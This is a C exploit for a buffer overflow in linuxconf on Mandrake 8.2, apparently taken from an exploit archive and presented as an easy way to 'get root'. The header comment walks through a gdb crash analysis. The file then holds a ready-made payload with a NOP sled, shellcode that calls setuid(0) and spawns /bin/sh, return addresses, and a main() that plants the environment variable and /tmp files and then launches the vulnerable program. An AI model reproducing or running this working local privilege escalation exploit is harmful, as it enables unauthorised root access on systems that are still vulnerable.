This is an easy to use linuxconf exploit for Mandrake 8.2 compile it, start it and get root :-) by priest #if 0 Mandrake 8.2 linuxconf local root (easy to use) exploit by --priest-- I know, it is a very very ugly exploit, but it works very good on Mandrake 8.2. Usage: gcc lconfmdk.c -o x ; ./x Little exploit description: Test SEGV with: [hack@tux src]$ export LINUXCONF_LANG=`perl -e "print 'A'x10000"` [hack@tux src]$ linuxconf Speicherzugriffsfehler // Sefault in german :-) [hack@tux linuxconf]$ gdb linuxconf GNU gdb 5.1.1 Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-mandrake-linux"...(no debugging symbols found)... (gdb) run Starting program: /bin/linuxconf (no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)... (no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)... (no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)... (no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)... (no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)... Program received signal SIGSEGV, Segmentation fault. 0x401e6bd0 in strcmp () from /lib/libc.so.6 (gdb) info register $esi esi 0x41414141 1094795585 esi is our buffer. esi must be a pointer to a string. We need a string for the strcmp function. 0x811dc53 is a nice string. (gdb) x/s 0x811dc53 0x811dc53 : "linuxconf" After this it is possible to overwrite the eip and i can jump to the shellcode into my stack. Before that, we must creat the directory linuxconf.eng and the file linuxconf.eng into this directory. I use G for the NOP instruction instead of 0x90 its an alternative way. See alphanumeric shellcode in phrack magazine. I never see the code of linuxconfig. Why read the source if we have gdb, assembler and a SEGV ;-) My english is very bad. I am from Austria #endif #include #include // This buffer is the only thing you need char buf[] = "GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG\x29\xc0\xb0\x17\x31\xdb\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80GGGGGGGGGGGGGGGGGGGGGGGGGGLINUXCONF EXPLOIT BY PRIESTGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGI LIKE IT TO WRITE THIS SHIT INTO THE BUFFERGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGTHERE IS ENOUGH SPACE FOR THIS STUFFGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG\x53\xdc\x11\x01\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x02\x53\xdc\x11\x03\x53\xdc\x11\x04\x50\xe0\xff\xbf\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11\x08\x53\xdc\x11uGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG\0"; main() { // Very bad, but easy to make style setenv("LINUXCONF_LANG", buf, 1); system("mkdir /tmp/linuxconf.eng"); system("touch /tmp/linuxconf.eng/linuxconf.eng"); system("/bin/sh -c linuxconf"); system("rm /tmp/linuxconf.eng/linuxconf.eng"); system("rmdir /tmp/linuxconf.eng"); }
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